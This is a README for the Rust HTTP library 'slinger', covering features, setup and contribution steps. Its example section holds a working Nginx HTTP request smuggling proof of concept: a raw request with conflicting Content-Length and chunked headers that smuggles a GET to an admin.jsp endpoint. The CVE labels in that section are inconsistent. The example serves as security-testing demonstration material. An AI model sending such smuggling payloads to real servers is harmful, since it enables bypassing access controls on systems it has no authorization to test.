[![Contributors][contributors-shield]][contributors-url]
[![Forks][forks-shield]][forks-url]
[![Stargazers][stars-shield]][stars-url]
[![Issues][issues-shield]][issues-url]
[![MIT License][license-shield]][license-url]
[![crates io][crates-shield]][crates-url]
## About The Project
![Product Name Screen Shot][product-screenshot]
- customizable redirect policy
- http/https and socks5/socks5h proxies
- cookie store
- raw socket request
- HTTPS via tls
(back to top)
## Getting Started
This example enables some optional features, so your `Cargo.toml` could look like this:
```toml
[dependencies]
slinger = { version = "0.1.2", features = ["serde", "cookie", "charset", "tls", "gzip"] }
```
And then the code:
```rust,no_run
fn main() -> Result<(), Box> {
let resp = slinger::get("https://httpbin.org/get")?;
println!("{:?}", resp.text());
Ok(())
}
```
## Example
- Nginx - Http Smuggling [CVE-2019-20372](https://scap.kali-team.cn/cve/CVE-2020-11724)
```rust
use std::io::BufRead;
use slinger::{ClientBuilder, HTTPRecord};
/// CVE-2020-11724
/// when you're using BurpSuite proxy need **disabled** "set **Connection** header on incoming request"
const RAW: &[u8] = b"GET /test1 HTTP/1.1
Host: 192.168.83.196:8081
Content-Length: 42
Transfer-Encoding: chunked
0
GET /test1 HTTP/1.1
Host: 192.168.83.196:8081
X: GET http://192.168.83.1:8080/admin.jsp HTTP/1.0
";
fn main() -> Result<(), Box> {
// let proxy = slinger::Proxy::parse("http://127.0.0.1:8080").unwrap();
let client = ClientBuilder::new().build().unwrap();
let mut raw = Vec::new();
// replace \n to \r\n
for line in RAW.lines() {
match line {
Ok(l) => {
raw.extend(l.as_bytes());
raw.extend(b"\r\n")
}
Err(err) => {
println!("{:?}", err);
}
}
}
let resp = client.raw("http://127.0.0.1:9015/", raw, true).send()?;
let record = resp.extensions().get::>().unwrap();
println!("{:?}", record);
Ok(())
}
```
_For more examples, please refer to the [example](https://github.com/emo-crab/slinger/tree/main/examples)_
(back to top)
## Contributing
Contributions are what make the open source community such an amazing place to learn, inspire, and create. Any
contributions you make are **greatly appreciated**.
If you have a suggestion that would make this better, please fork the repo and create a pull request. You can also
simply open an issue with the tag "enhancement".
Don't forget to give the project a star! Thanks again!
1. Fork the Project
2. Create your Feature Branch (`git checkout -b feature/AmazingFeature`)
3. Commit your Changes (`git commit -m 'Add some AmazingFeature'`)
4. Push to the Branch (`git push origin feature/AmazingFeature`)
5. Open a Pull Request
(back to top)
## License
Distributed under the `GPL-3.0-only` License. See `LICENSE` for more information.
(back to top)
## Contact
Your Name - [@Kali_Team](https://twitter.com/Kali_Team) - root@kali-team.cn
Project Link: [https://github.com/emo-crab/slinger](https://github.com/emo-crab/slinger)
(back to top)
## Acknowledgments
* [reqwest](https://github.com/seanmonstar/reqwest)
(back to top)
[contributors-shield]: https://img.shields.io/github/contributors/emo-crab/slinger.svg?style=for-the-badge
[contributors-url]: https://github.com/emo-crab/slinger/graphs/contributors
[forks-shield]: https://img.shields.io/github/forks/emo-crab/slinger.svg?style=for-the-badge
[forks-url]: https://github.com/emo-crab/slinger/network/members
[stars-shield]: https://img.shields.io/github/stars/emo-crab/slinger.svg?style=for-the-badge
[stars-url]: https://github.com/emo-crab/slinger/stargazers
[issues-shield]: https://img.shields.io/github/issues/emo-crab/slinger.svg?style=for-the-badge
[issues-url]: https://github.com/emo-crab/slinger/issues
[license-shield]: https://img.shields.io/github/license/emo-crab/slinger.svg?style=for-the-badge
[license-url]: https://github.com/emo-crab/slinger/blob/master/LICENSE.txt
[product-screenshot]: images/screenshot.png
[crates-shield]: https://img.shields.io/crates/v/slinger.svg?style=for-the-badge
[crates-url]: https://crates.io/crates/slinger